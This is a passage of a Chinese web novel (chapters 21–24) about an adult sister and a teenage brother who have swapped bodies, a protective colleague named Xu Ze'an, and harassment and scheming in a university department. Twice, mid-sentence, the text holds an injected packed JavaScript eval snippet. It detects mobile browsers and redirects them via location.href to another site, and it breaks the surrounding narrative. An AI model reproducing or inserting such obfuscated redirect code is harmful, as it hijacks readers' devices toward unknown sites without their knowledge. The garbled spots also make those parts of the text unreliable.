他推了推眼镜,镜片后的目光在那个少年颤抖的背影上停留了许久,然后才低声开口:“知窈,渡舟受了伤,我带你们去我那儿吧。你们在一起顶多是有个伴,但终归还是不安全,李家的人万一跟过来,后果不堪设想。” “许老师,”沈渡舟的声音清冷如冰,却带着一种不容置疑的占有欲,“那就麻烦你带路了。” 那一刻,许则安感觉自己的呼吸滞了一瞬。他看着面前这个熟悉又陌生的沈知窈,心中那个关于“真相”的猜想,终于在夜风中裂开了一道无法修补的缝隙。 21. 同床共枕 许则安的公寓地处槐花区的一条静谧老巷子里,挑高的天花板挂着一盏暖黄的磨砂吊灯,光线穿过灯罩,在深色的胡桃木地板上铺开了一层像麦芽糖般的粘稠感。 此时,沈知窈正坐在客厅那张灰色的棉麻沙发上,小心翼翼地卷起属于沈渡舟的那条沾满泥浆和血渍的牛仔裤管。 膝盖上的伤口触目惊心,由于在碎石地上剧烈摩擦,皮肉翻卷,渗出的血水与深色的布料纤维粘连在一起,形成了一片狼藉的暗红。 “嘶——沈渡舟,你轻点!你是打算直接给我刮骨疗毒吗?”沈知窈疼得肩膀一缩,那张少年的脸上此刻写满了属于沈知窈的清冷与隐忍。 沈渡舟正单膝跪在地上,手里捏着一根蘸满了碘伏的棉签,动作笨拙得像是在拆解一枚随时会爆炸的深水地雷。他披着沈知窈那身质地精良、此刻却略显褶皱的职业西装,长发被他胡乱别在耳后,神情却是一贯的狂妄不羁,只是眼底深处藏着一抹不易察觉的懊恼。 “姐,你讲讲道理行不行?我以前在巷子里跟人开瓢,都是直接往伤口上糊点香灰了事,现在能在这儿像供祖宗一样给你涂药,已经是看在咱俩还没换回来的份上尽了最大的同胞情谊了。”沈渡舟冷哼一声,声音压低,手上的力道却下意识地松了半分,嘴上依旧不饶人,“再说了,这可是我的膝盖,我都没心疼,你叫唤个什么劲儿?” “你那是对自己下狠手,现在受伤的是我的……哦不,是你的身体。你以后还想不想去踢球了?还想不想跑步了?”沈知窈咬着牙,忍着药水渗进皮肉那阵密密麻麻的刺痛,还不忘习惯性地拿出长姐的架势念叨,“还有,你那台老电脑赶紧换掉吧,还有你的日记本,下次能不能放个稍微阳间点的地方?写日记索性就写明白嘛,害我为了查点东西,差点把命搭在丽花皇宫。” 沈渡舟手里捏着棉签,在伤口边缘不轻不重地戳了一下,听着“自己”嘴里发出的那声压抑的惨叫,心里竟然升起一种诡异的、双向伤害的平衡感:“你这种只会纸上谈兵的知识分子去只能白白送人头。沈知窈,你今晚冲进那间包厢的时候,脑子里装的是什么?要不是许则安正好在附近调研,你现在估计已经成了那帮人消灭证据的陪葬品了。还有,你居然还偷看我的日记,你太过分了!” “我那是为了谁?还不是为了你的朋友,为了你……”沈知窈压低声音,眼神里的柔和与锐利交织在一起,随即又被那种姐弟间特有的嫌弃替代,“手拿开,你这哪是包扎,你这是在裹金字塔里的木乃伊。” 沈渡舟看着自己绕得歪歪扭扭、活像个大号白馒头的纱布卷,老脸微微一红,梗着脖子反驳道:“别嫌弃,这叫战地实用风格。只要血止住了,管它像不像木乃伊。” 一直站在一旁默默整理医药箱的许则安,终于忍不住低头轻笑了一声。他走上前,推了推那副斯文的金丝眼镜,温润的声音打破了两人之间那种剑拔弩张却又意外和谐的气场。 “知窈,还是我来吧。你这手法,确实有点……粗犷。” 许则安没忍住轻笑出了声,顺手接过沈渡舟手中的镊子和药棉,他的动作极稳,修长的手指带着一种常年浸润在学术研究中的严谨与耐心。 他并没有发现这两个人灵魂深处的倒置,只当是这对传闻中性格迥异、水火不容的姐弟,在共同经历了一场生死劫掠后,产生了一种外人难以介入的亲昵。 许则安重新蹲下身,先是用生理盐水细致地清理掉伤口边缘残留的纤维,每一下都避开了最敏感的痛区。沈知窈垂下眼睫,看着这个温柔贤淑的年轻男人。在如此近的距离下,她能闻到许则安身上淡淡的冷泉香,那是一种极度干净、温和的气息。 这种温柔曾经让她感到一种莫名的社交压力,可此时披着弟弟的皮囊,她竟生出一种前所未有的冷静,去审视这个男人的赤诚。 “渡舟,忍着点。”许则安并没有抬头,他熟练地将纱布平铺,折叠出完美的夹角,缠绕的力度恰到好处,既能压迫止血,又不至于勒坏肌肉。最后,他细心地打了一个平整的结,动作行云流水,带着一种说不出的鉴赏性。 沈知窈看着那个漂亮整齐的包扎,转头瞪了沈渡舟一眼。 沈渡舟不置可否地靠在吧台旁,双臂交叠在胸前,沈知窈那头如墨的长发顺着白色的真丝衬衫垂落,却遮不住他眼底那股子混不吝的戾气。他看着许则安对“自己”如此照顾,心里那股子陈年老醋翻涌得莫名其妙——既气这男人对姐姐的心思昭然若揭,又气自己现在竟然要靠这个“假想情敌”来解围。 处理完伤口,许则安站起身,看向沈渡舟,神色有些担忧:“知窈,今晚还不知道发生了什么事,情况不明就是最大的危险,万一又发生了什么意外,后果不堪设想。渡舟住在我这儿,好歹有个照应,我也能看好他。至于你……” 他顿了顿,目光掠过沈渡舟那张清冷的面孔,语气多了几分克制的、藏在礼貌之下的热度:“现在也晚了,你一个人回去我不放心。我这里有两个房间,虽然不大,但三个人分肯定是没问题的。安全问题你也不用担心,安保系统是独立的。你睡主卧,我和渡舟睡次卧。男人之间挤一挤,没关系的。” 沈渡舟的眉头猛地一跳,心脏也突突直跳,那种骨子里的攻击性瞬间爆发。 让他和这个对自己姐姐怀揣着“非分之想”的男人同塌而眠?就算是自己的身体,他也绝不允许! “不行!”沈渡舟脱口而出,声音里带着一种全然不符合沈知窈身份的悍然,那双漂亮的眸子里瞬间盛满了危险的冷光。 许则安愣住了。在他的认知里,沈知窈即便拒绝,也该是礼貌而委婉的,而此刻面前这个女人,浑身散发出一种极其陌生的、如困兽般的防御姿态。 “咳咳……我……我的意思是,我认生,不习惯睡不熟悉的床,加上要是没有熟悉的人,我会睡不着的。”沈渡舟强行压下声线,学着姐姐那副平淡的调子,补了一句解释,可那眼神依旧像要把许则安生吞活剥了似的。 沈知窈见状,心都提到嗓子眼了,赶紧咳嗽两声,疯狂给沈渡舟使眼色:老弟,稳住!你现在是内向腼腆温柔沉稳的沈老师沈知窈! “许老师,渡舟他……他晚上睡觉不安分,而且他现在腿上有伤,半夜可能需要换药。”沈渡舟强撑着崩溃了一半的心理防线,试图圆场,“要不,还是让他跟我睡次卧吧,这样我最放心。” “半大的小伙子了,没事的知窈,我会跟渡舟相处得很好的,你不用担心麻烦我。”许则安也不急于否定,只是一遍遍展现自己的耐心。 可这番话在沈渡舟听来,简直就像是挖了一个坑自己跳了进去。 他死死盯着许则安那副如沐春风的笑脸,最后磨了磨后槽牙,从牙缝里挤出一个字:“行,那晚安吧,祝你们有一个安静的夜晚。” 是夜,公寓里的灯火渐次熄灭。 次卧内,月光透过百叶窗洒在木质地板上,像是一道道灰色的栅栏。 沈知窈躺在柔软的床上,听着一旁许则安平稳的呼吸,感受着膝盖处传来的阵阵钝痛,思绪乱成了一团麻。 几近诡异的氛围,沈知窈大气 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许则安的卧室很静,静得能听见加湿器喷吐水雾的嘶嘶声。沈知窈躺在微凉的丝质被褥里,膝盖上的药膏散发着阵阵清苦的气息,透过这具少年的躯壳,她感觉到一种从未有过的沉重。 沈渡舟这具身体太累了。那是长期熬夜、格斗以及高度精神紧绷留下的肌肉记忆,即便此刻陷入柔软的床垫,肩颈处依旧维持着一种防御性的僵硬。 沈知窈闭上眼,视野里却不是黑暗,而是丽花皇宫那漫天飞舞的保送名单,以及名单背后那个被涂抹得血肉模糊的名字。 一夜沉湎。 清晨到来地格外早,沈渡舟几乎一晚上没睡,耳朵竖起来贴着墙,生怕这边主卧发生什么变故。 半梦半醒到了天亮,无事发生,他便起床开始洗漱。洗漱用品都是许则安头天晚上准备好的——包括他身上这尺码恰好合适的睡裙,质量非常好——他一个糙爷们儿都能摸出来的好。 这个许则安,不简单啊,看着温文儒雅,实则背地里,天知道他在想什么。沈渡舟非常担心姐姐的处境。 主卧内,沈知窈还在醒了在装睡,许则安站在窗边,看着远方高楼大厦明灭不定的灯。 沈渡舟正走出洗手间,穿着那身过于素净的长睡裙,赤着脚站在月影里,那张脸依然美得令人心惊,却又透出一种让他感到战栗的陌生与狂野。 “知窈,”许则安突然轻声开口,声音在这寂静的午夜显得格外悠长,带着一种从未有过的、近乎卑微的希冀,“其实昨天在那条巷子里,我第一眼认出的不是渡舟,不知道为什么,那个时候我的脑子里全是你,我觉得我快要疯了,我有许多话想跟你说……” 他往前迈了一小步,停在一个暧昧却又不至于冒犯的边界线上。 “这些年,我一直想做那个替你遮风避雨的人,但我发现你并不需要伞。如果你愿意,能不能让我做那个陪你一起淋雨的人?” 沈渡舟僵直在原地,他听着这番堪比告白的陈情,心里翻江倒海。他既想刨一个洞把自己塞进去,又因为这番话背后的深情而感到一种莫名的沉重。 在次卧偷听的沈知窈:“?”不是,真的去表明心迹了,许则安这人怎么这么较真!她昨晚不过是随口一说。 她手心不知觉中已渗出了冷汗。 清晨的阳光落进了窗里,沈渡舟深吸一口气,学着姐姐的样子,缓缓抬眼,语气平淡却带着一种难以捉摸的深邃:“我现在没有办法回答你,许老师。” 22. 正经男人 沈知窈睁开眼睛的时候,有一瞬间飘飘然到不知道自己在哪里,床太软了,不是上沙村那张硬邦邦的床。 膝盖上的伤口传来一阵钝痛,她低头看了一眼,纱布还是昨晚许则安包扎的那个样子,边角收得利落。 空气里有一股很淡的冷泉香,是许则安身上的味道,混着碘伏残留的清苦气息。这些气味搅在一起,像一碗没搅匀的藕粉,有的地方浓,有的地方淡,但总归是甜的。 半晚上不知道怎么睡的,两个人由一开始的背对背,到清晨变成了面对面,一睁开眼看到许则安那张又近又帅的脸,吓得沈知窈赶紧闭上了眼。 她之所以选择装睡,是为了避免睁眼后看到许则安的尴尬。 沈知窈真的不知道该怎么收拾好心情面对他。 隔壁房间传来细微的响动,有人在说话,声音压得很低,隐约能听见一些字眼。 沈知窈坐起来,头发乱糟糟的,她弟这具身体每天早上都是这副德行,头发支棱着像被人揪过。 她用手按了按头发,发现根本按不下去,干脆不管了。她站起来,光脚踩在地板上,深色的胡桃木被清晨的光照出一层温润的暖意。她走到门口,手搭在门把手上,没急着推开,站在那里想了想。 虽然隔着墙,虽然声音压得很低,但那些字一个一个飘过来,听得十分清楚。 “这些年,我一直想做那个替你遮风避雨的人”“能不能让我做那个陪你一起淋雨的人”可这些话在沈知窈心里,和空头支票没什么两样,沈知窈已经是经历过风雨的成年人了。 沈知窈站在那儿,脑子里飞快地转。再不出去就要露馅了——沈渡舟那句“我现在没有办法回答你”既没有答应也没有拒绝,把问题悬在那儿,等着别人自己退开。 看来是真的黔驴技穷了,再不中断对话,沈渡舟怕是要留下心理阴影。 走廊里很安静,光从两头的窗户照进来,把整条走廊照得透亮。她走过去,脚步没刻意放轻,地板在她脚下发出轻微的声响。客厅里,许则安站在窗边,背对着她,阳光落在他肩膀上,把那件浅蓝色的衬衫照得发白。 沈渡舟——不,她的身体——站在茶几旁边,披着她那件白色的睡袍,头发散着,一只手插在口袋里,另一只手攥着手机,指节发白。 两个人的距离不远不近,中间隔着半米的空气,那空气像被什么东西凝住了。 沈渡舟嘴角往下压着,眉毛微微拧着,那是他紧张的时候才会有的样子。那种紧绷感从肩膀一直蔓延到手指,攥着手机的那只手,骨节都凸出来了。 许则安倒是看不出什么,背影稳肩膀平,呼吸也很匀称。但他说话的时候手指会下意识地敲桌面,那个习惯她记得,此刻他的手指垂在身侧,一动不动。 沈知窈清了清嗓子,用一种她弟平时早上起来那种懒洋洋的、没好气的语气开口。“许老师,姐,这么早就要上班了啊。” 两个人同时转过头看她,沈渡舟那眼神里有一瞬间的如释重负,像溺水的人摸到了岸。许则安的眼神倒是平静,嘴角甚至还挂着一点笑。 沈知窈一瘸一拐走进来,膝盖上的伤让她走路的姿势有点歪。她走到沙发旁边坐下,把那条伤腿伸直,搭在茶几上。 动作幅度大极了,完全是沈渡舟的风格一比一还原,“你们昨晚都没睡好吗?黑眼圈都快掉到脚面了。” 沈渡舟瞪了她一眼,那眼神里写着“你少说两句会怎么样”。她假装没看见,转过头看许则安。“许老师,有吃的吗?我饿了。” 许则安愣了一下,然后笑了。那个笑比刚才自然多了,像是被这个问题拉回了地面。“有的,粥熬好了,在锅里,我去盛。” 他转身往厨房走。沈知窈看着他的背影,等他走远了,才把目光收回来,落在她弟身上。 她弟站在那儿,脸色很复杂。 “你听见了?”沈渡舟压低声音,用的是沈知窈的声音,但语气是他自己的,急躁之中又还带点委屈。 沈知窈点了点头,表示自己了然于胸。 “听见多少?” “差不多都听见了。” 沈渡舟的脸一下子涨红了,他用她的脸做出一副咬牙切齿的表情,看起来有点滑稽,又有点心酸:“他、他说的那些——我、我不是故意要听的,他自己非要说的,我拦不住——” “我知道。”沈知窈打断他。 沈渡舟张了张嘴,像还有一大堆话要倒出来,但被她这一句堵回去了。他看着坐在沙发上那个自己的脸,看着那副懒洋洋的、什么都不在乎的表情,突然觉得胸口那股气泄了。 他走到沙发另一头坐下,和她那条伤腿隔着一个人的距离。 厨房里传来碗筷轻轻碰撞的声音,粥的香气飘过来,糯糯的,混着一点红枣的甜。 “你怎么想的?”沈渡舟问,声音低下来,不像刚才那么急了。 沈渡舟等了几秒,没等到回答,又补了一句。“其实吧,在昨天之前,他那个人,我看还行。” 沈知窈还是没说话,她把那条伤腿从茶几上收回来,坐直了,两只手放在膝盖上,指腹无意识地摸那块纱布的边缘。 许则安包的,很平整,每一圈都绕得均匀,打结的地方收在侧面,不会硌到伤口。 “然后呢?怎么,被吓到了?”沈知窈莫名有了点兴致。 沈渡舟干巴巴地笑了笑,指了指自己的胸口,比划比划睡衣裙摆:“你说呢?” “哪个正经男人家里会单独备一套女性睡衣,还这么合身,要不是认识他有一段时间了,我真怀疑许是个变态!” 沈知窈想替许则安辩白:“可这也不能说明什么……” 沈渡舟恨铁不成钢:“你就小心点儿吧,长点儿心吧,沈知窈。” 沈知窈投桃报李回以一个灿烂的微笑:“不,该小心的是你,亲爱的姐姐。” “你有没有良心,我是你弟弟,我在为你出谋划策殚精竭虑!” 厨房那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357508|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个方向传来脚步声,许则安端着托盘走出来,上面放着三碗粥,一碟切好的咸菜,还有几个小花卷。他把托盘放在茶几上,看了他们一眼。 “怎么了?闹脾气了?两个人坐这么远。” 许则安把粥端给他们,自己端着那一碗坐在对面的单人沙发上。他吃得很慢,用勺子把粥搅凉了才送进嘴里。 红枣粥,熬得很稠,米粒已经煮化了,入口是甜甜糯糯的,热从喉咙一路滑下去,把胃里那点空落落的东西填满了。她想起她用沈渡舟那个小电锅煮的泡面,鸡蛋卧在面条上面,青菜切得乱七八糟……沈知窈向来不擅长厨艺,一直秉承饿不死就好。 “许老师,”沈知窈开口,用的是她弟的语气,“昨晚那些话,你不用跟我姐说,她是个忒现实的人,甜言蜜语不管用。” 沈渡舟差点被粥呛死,在无人知晓的地方默默给沈知窈竖了根中指。 许则安愣了一下,然后笑了,有点无奈又有点释然:“是吗?那可惜了。” “不可惜,”沈知窈说,夹了一块咸菜扔进嘴里,嚼得咯吱响,“你可以多试试,正所谓心诚则灵。” “那借你吉言了。” 吃过早饭,沈知窈收拾收拾要上学了。 “走吧,我送你们。”许则安拿起车钥匙,走到门口换鞋他换鞋的时候弯着腰,一只手扶着墙。 许则安动作很慢,像是在给姐弟二人留时间整理自己。 沈知窈站着没动,客气道:“许老师,不用送,我坐公交就行。” 许则安直起身回过头看她,目光在她那身明显大了一号的运动服上停了一下:“你腿上有伤,公交太挤了,我顺路。” 沈渡舟看见沈知窈那个眼神——并非拖泥带水的拒绝,是不想麻烦别人的客气。 但这种客气在沈渡舟面前没用,在许则安面前也没用。 谈话间,许则安已经把门推开了,晨光从楼道里逆流而上,涌进门来,把他的影子拉得很长,落在玄关的地板上。 “走吧,再不出门要迟到了。”他说,语气平常得像无数个早晨都这般熟稔。 沈知窈紧张地蜷曲着手指,将运动裤侧边的布料捏出了褶子,最后还是换鞋出了门。 电梯到了一楼,许则安先走出去推开门禁,站在门口等她们。 晨光落在他身上,把他那件浅蓝色的衬衫照得发白,他眯着眼睛,抬手挡了一下阳光。 沈渡舟拉开后座的门坐进去,后座上放着一摞书,他往里挪了挪,正襟危坐的模样有点滑稽。 车内有一股淡淡的冷泉香,和许则安身上的味道一样,是凉透了的清爽感夹杂了稳重的木质调,闻着让人安心。不一会儿他就靠到椅背上,装作很忙的样子看着窗外。 车里放着广播,是一个讲城市文化的节目,主持人的声音清亮如流淌山涧泉水的,念了一段关于老城区改造的稿子。 许则安听着,偶尔用修长的手指在方向盘上敲两下,像是在打节拍。 23. 命运转折 银灰色的轿车滑入早高峰的洪流,车厢内狭窄的空间被冷泉香气与低频的电台声填满。 许则安单手扶着方向盘,偶尔侧头看一眼后视镜,镜片后的目光在“沈渡舟”那张属于少年的脸上短暂停留,又克制地收回。 真正的沈渡舟则坐在副驾驶位上,习惯性地挺直了脊梁。他已经习惯了扮演好姐姐的体面角色,成天到晚不敢泄气。几乎快忘了自己那副满是戾气的皮囊,也忘了那件不合身的大号卫衣下,本该是个坐没坐相的浑小子。 沈知窈在后座,下意识地抬起右手,用食指指节轻轻抵住太阳穴,指尖有节奏地在皮肤上点触——那是她陷入深度思考,或者试图平复焦虑时雷打不动的怪癖。 在这个瞬间,少年的骨感与成年女性的沉静在他身上达成了一种诡异的平衡。 许则安敲击方向盘的手指滞了一瞬,他见过沈知窈在面对堆叠如山的卷宗时,也是这样微微垂首,指尖如鼓点般敲击着太阳穴,那是她与世界构筑防御墙的暗号。 “渡舟,伤口还疼吗?”许则安突然开口,语调依旧温润,却带了一丝试探。 沈知窈惊觉回神,指尖猛地蜷缩进掌心。她意识到自己露了怯,连忙垮下肩膀,整个人像一滩烂泥似地缩进座椅里,学着弟弟那副玩世不恭的调子,粗着嗓子吐出一个字:“痛。” 副驾驶座的沈渡舟在无人看见的角度狠狠翻了个白眼。他看着沈知窈那副拙劣的演技,心底那股无名火烧得愈发旺盛。 他现在穿着姐姐那件收腰的小西装,紧绷的曲线让他每一口呼吸都觉得受罪,尤其是许则安投向后座的每一个眼神,都让他觉得像是有细小的钢针在扎他的背,简直是如坐针毡。 “晚上放学,我去校门口接你。”许则安在等红灯的间隙,望着后视镜里的沈知窈,语气是不容置疑的温和,“你一个人住不安全,相信你姐姐也不会放心。晚饭想吃什么?还是鱼香肉丝?” 沈知窈还没来得及说话,沈渡舟就冷哼了一声。 “许老师,您这保姆当得挺称职啊。”沈渡舟用着姐姐那副如冰似玉的好嗓子,说出来的却是能把人气个半死的损话,“他一个大老爷们,有手有脚,校门口那几步路还能让他给走丢了?再说了,我还没答应晚上继续叨扰您呢。” 许则安并没有生气,他只是微微侧过头和沈知窈对视了一眼,眼神里带着一种长辈看无理取闹的孩子般的纵容:“知窈,这时候别跟我客气。安全第一,等这阵风头过了,你想赶我走我也没意见。” 沈渡舟真的没招了。 经过昨天一晚上的相处,他不知怎的对许则安产生了难以言喻的感情——可怕,敏锐。 许则安的洞察力太强了,再这样下去,他们姐弟俩迟早露馅。 车子停在市重点高中的侧门外,这里比正门清净些,但依旧挡不住那些探寻的目光。沈知窈推开车门下车,膝盖的钝痛让她动作迟缓了半秒。 就在这时,许则安也解开安全带下了车。他绕过车头,在大庭广众之下,极其自然地伸手扶住了沈知窈的胳膊,动作斯文且周到,像极了一个关怀备至的长辈,又或者是……一个拥有某种权属关系的守护者。 这一幕落在正从侧门推车进校的几个学生眼里,简直不亚于一场小型地震。 “那不是沈渡舟吗?接他上车的那男人是谁?那车得大几十万吧?” “嘘,你没看旁边站着的是谁?那是许则安老师,我在新闻上见过他!原来传闻是真的,沈渡舟家真有门路,连那种层次的人都能搭上线。” 细碎的议论声顺着晨风飘进沈知窈的耳朵里,她有些不自在地避开许则安的手。 她能感觉到那些目光里夹杂着嫉妒、好奇以及某种让她作呕的揣测。在这些孩子眼里,被豪车接送、被精英人士关照,是一种炫耀的资本;可对于此刻灵魂错位的她来说,这无异于将自己和沈渡舟放在了风口浪尖。 沈渡舟也下了车,他披着姐姐那件白色的风衣,站在晨光里,清冷得像一尊不近人情的雕塑。 他冷冷地扫视了一圈周围那些指指点点的小鬼,眼神里的杀气即便是隔着姐姐那副温婉的皮囊也遮掩不住。 原本嘈杂的侧门瞬间静了三秒。 “进去吧,别惹事。”沈渡舟走到沈知窈身边,压低声音嘱咐道,顺手帮她拉了拉卫衣的兜帽,把那张略显苍白的脸遮住大半,“千万别冲动,你是沈渡舟,不是无所不能的沈知窈。” “就算是沈知窈,也没办法无所不能,你对我是不是有什么误解?”沈知窈翻了个白眼,吹了吹气儿,额上几缕碎发晃了晃。 许则安站在车边,手插在西装裤兜里,看着这对气质迥异的姐弟,嘴角噙着一抹若有若无的笑意。 “渡舟,记得晚上的约定。”许则安提高了音量,这话像是说给沈知窈听的,又像是故意说给周围那些看客听的,“沈老师,我们也快到上班的时间了,咱们也赶紧走了,院里边开会迟到了也不好。” 银灰色的轿车绝尘而去,留下一地纷乱的揣测。 沈知窈低着头往教学楼走,身后那些粘稠的目光如影随形。 她听见有人在后面小声嘀咕:“怪不得沈渡舟最近变了个人似的,原来是家里找了这种大腿,这种关系都能搞定……” 沈知窈放在校服口袋里的手猛地攒紧了。她突然意识到,许则安这种近乎张扬的保护,其实是一把双刃剑。他给了她和弟弟暂时的避风港,却也亲手拆掉了他们最后那层名为“普通人”的伪装。 教学楼的阴影笼罩下来,沈知窈站在台阶上回头望去,发现身后早已空无一人。 这一整天,“历史辩论赛唯一名额给了沈渡舟”的余波与“豪车接送”的新闻在校园里交织发酵。沈知窈坐在那个属于沈渡舟的、刻满了脏话的课桌前(沈知窈其实挺好奇的,李浩那群人怎么这么会抽空给人找麻烦),她深吸一口气翻开那本写满了缜密推演的草稿纸。 窗外,李浩那帮人正聚在一起窃窃私语,时不时朝这个方向投来阴毒且忌惮的一瞥。 沈知窈知道,开始怀疑武岳坠楼的真相,就像是一颗埋在校旗下的地雷。而许则安刚才那个告别般的眼神,更像是在这根引线上点燃了火。 这一局,不仅是姐弟俩在身份边缘的挣扎,更是他们与这整座名利场建筑进行的最后博弈。而此时,她唯一能做的,就是在那张满是污垢的课桌下,死死握住那支能改写命运的笔。 将沈渡舟残破不堪的命运改写,也将小武失足坠楼的真相重新书写。 高校行政楼外的广玉兰透着一股冷硬的白。 许则安的车稳稳停在院楼门口,他熄了火,侧过身看着副驾驶位上的沈知窈。此时的“沈知窈”正别扭地拉扯着那件掐腰的米色西装,长发被一根圆珠笔胡乱挽在脑后,眼神里透着一股子随时准备掀桌子的野性。 “知窈,放轻松。今天系里的大会只是初步汇报,有我在。”许则安的声音依旧温润,带着安抚人心的力量感。 沈渡舟从后视镜里瞪了一眼自己那张清冷的面孔,心里暗骂了一句,嘴上却不得不学着姐姐那种克制且疏离的语调:“知道了,许老师。” 下车时,他的步子迈得有些大,白色风衣的衣摆在风中猎猎作响。许则安跟在身后,看着那个背影,眼底掠过一丝不易察觉的忧虑。他总觉得沈知窈最近的这种“硬气”,透着一种支离破碎的决绝。 院办公室内,茶水的雾气氤氲,却掩不住一股粘稠的冷意。 会议桌尽头,林嘉文正低头给身边一个年轻漂亮的女孩倒茶。那是今年刚入职的新人小姚,大名姚若晨,副院长的亲侄女,家里开着几家连锁酒店,是个从指尖精致到头发丝的大小姐。 林嘉文那身藏青色的三件套西装熨烫得没有一丝褶皱,鼻梁上的金丝眼镜在灯光下闪着虚伪的精光。 “哟,沈老师,许老师,来得够早的。” 开口的是洪德清,正坐在窗边的红木椅上,挺着个滚圆的肚子,手里掐着一把掉漆的紫砂壶。他那双混浊的眼珠子如黏腻的软体动物,从沈知窈进门起就没挪开过,在她的腰线和领口间来回逡巡。 沈知窈入职那些年,这老东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是沈知窈职场噩梦的开始,也是林嘉文借机进行精神打压的切入点——林嘉文当时非但没有保护她,反而责怪她“穿得太招摇”。 此时,洪德清正用那种令人作呕的目光打量着“沈知窈”的曲线,嘿嘿一笑:“实地调研那种地方,又是城中村又是垃圾场,你一个女同志去,万一出点什么事,院里不好交代。嘉文这也是为了保护你,小姚家在那边正好有几处房产,能提供不少便利。” 话里话外都是排挤。 小姚在一旁娇滴滴地接话:“是呀,沈老师,嘉文说你以前受过惊吓,胆子小。那种地方乱得很,万一冲撞了什么,咱们学院的脸面往哪儿放?” 林嘉文露出一个完美到虚伪的笑容,甚至还带着几分心痛的怜悯:“知窈,听话,别意气用事。这个项目我来带,功劳簿上自然少不了你的名字。你还是适合在图书馆里整理文献。” “两位老师。”许则安的声音不大,却透着一股不容置喙的厚重,“项目权属是院里批红挂了号的,你们想‘分担’,手续办了吗?” “许老师,这可是院里的意思。”林嘉文挺直了脊梁,笑得成竹在胸。 正当沈渡舟要跳上桌子大骂四方,却被孟繁生苍老持重的声音打断施法。 “谁的意思?” 威严苍老的声音打破了胶着,孟繁生拄着手杖出现在门口。 作为系里德高望重的老研究员,他一辈子没带过多少学生,唯独对沈知窈的踏实与敏锐情有独钟。 孟老缓步走进屋,目光如炬地扫过洪德清和陈芳,最后落在林嘉文身上:“我记得去年年终评审,林老师那个课题的查重率还没交代清楚吧?怎么,现在有功夫来‘指导’别人的专项项目了?” 林嘉文的笑容彻底僵住了。 “孟老,您误会了……” “我没误会。”孟繁生冷哼一声,看向沈知窈,“知窈,项目计划书我看了,不仅没岔子,反倒扎实得很,南城边缘地带那块硬骨头,只有你能啃下来。有些只会靠裙带关系钻营的,就别在这儿丢人现眼了。” 沈渡舟站起身,朝着孟老微微颔首。她转头看向林嘉文,眼神里再也没有了曾经的怯懦和闪躲,只有一种属于沈渡舟的、近乎狂妄的睥睨。 “林嘉文,项目我会拿下,而且我会做得漂漂亮亮,至于你……”沈渡舟眯了眯眼睛,凑近了一点,声音低沉如咒,“欠我的,我会一笔一笔给你算清楚。要是再敢挡我的路,小心我弄死你。” 24. 三人行 林嘉文那间位于校外高级公寓的起居室,常年弥漫着一种昂贵的木质香调,这股味道掩盖了纸质书籍里本该有的清苦,反倒透出一种腐朽的、属于名利场的腻歪。 姚若晨正懒洋洋地陷在真丝沙发里,如同一只娇贵的波斯猫。 她修剪圆润的指甲涂着浅色的指甲油,正有一下没一下地拨弄着林嘉文衬衫最顶端的扣子。 作为副院长的侄女,她从小见惯了依附于权力的灵魂,而林嘉文这种斯文外表下藏着野心的男人,最合她的胃口。 “嘉文,那个沈知窈今天在会上那副样子,真是像极了受了委屈的小媳妇。”姚若晨娇嗔地哼了一声,眼底划过一抹不屑,“你说大伯也真是的,干嘛非得给她这种没背景的人留着那个项目?直接划到我们名下,咱们去南城调研还能顺便住我家那间新开的温泉酒店呢。” 林嘉文伸出手,极其自然地揽过姚若晨的腰,指尖在她的发梢轻绕,动作温柔,眼底却是一片浑浊的冰冷。 “若晨,你还是太单纯了。”林嘉文轻笑一声,语气里带着一种高高在上的悲悯,“沈知窈那个人,你别看她平时清高得跟什么似的,实际上……骨子里早就烂透了。” “哦?”姚若晨来了兴致,撑起身子,凑到林嘉文耳边,“说来听听,她怎么烂了?” 林嘉文推了推那副折射着冷光的金丝眼镜,嘴角勾起一个恶毒的弧度:“你大概不知道,她入职第一年,为了能拿那个优秀青年教师的名额,是怎么缠着洪德清不放的。” “洪德清?那个挺着大肚子、连走路都喘的老色鬼?”姚若晨掩嘴惊呼,脸上满是嫌恶。 “对啊。那时候我还没跟她断干净,有天晚上我回办公室拿材料,亲眼看见她拉着洪教授的手,在走廊角落里拉拉扯扯,不清不楚的。”林嘉文压低了嗓音,语气极其真切,仿佛他真的是那个受害者,“洪教授那个人虽然好色,但胆子小,硬是被她吓得不轻。后来她没拿到名额,居然倒打一耙,到处哭诉说洪教授骚扰她。你说,一个正经女人,大半夜在办公室穿成那样,不是勾引是什么?” 真相被他巧妙地折叠、扭曲。 他绝口不提那天深夜,沈知窈是被洪德清以对稿子为名强行留下的。他更不会提,当沈知窈哭着逃出学校、衣衫不整地撞进他怀里寻求庇护时,他第一反应不是心疼,而是恐吓威胁她。 他阴森森地问她:“是不是你太想要那个名额,给老头子发了什么错误的信号?” 那是沈知窈第一次意识到,所谓的避风港,其实是一座活埋她的坟墓。 林嘉文在那之后,更是变本加厉地利用这件事恐吓她。每当沈知窈想要反抗他的精神打压,他就会凑到她耳边,如毒蛇般吐信:“知窈,去告啊。看看全院是信你这个‘主动勾引’的小讲师,还是信德高望重的洪教授。到时候,你那个弟弟,怕是不想认你这个丢人的姐姐。” “天呐,她怎么这么恬不知耻啊。”姚若晨听得津津有味,指尖掐进林嘉文的手臂里,“这种女人,就不配留在咱们学院,简直是学术圈的耻辱。” “所以啊,若晨,咱们得帮她‘体面’地离开。”林嘉文的眼神里闪过一抹极其毒辣的光。 他从茶几下取出一张南城边缘地带的地形图,指尖重重地戳在其中一个标注为“废弃化工厂”的红点上。 那里是调研项目的必经之路,地形盘综错节,错综复杂。 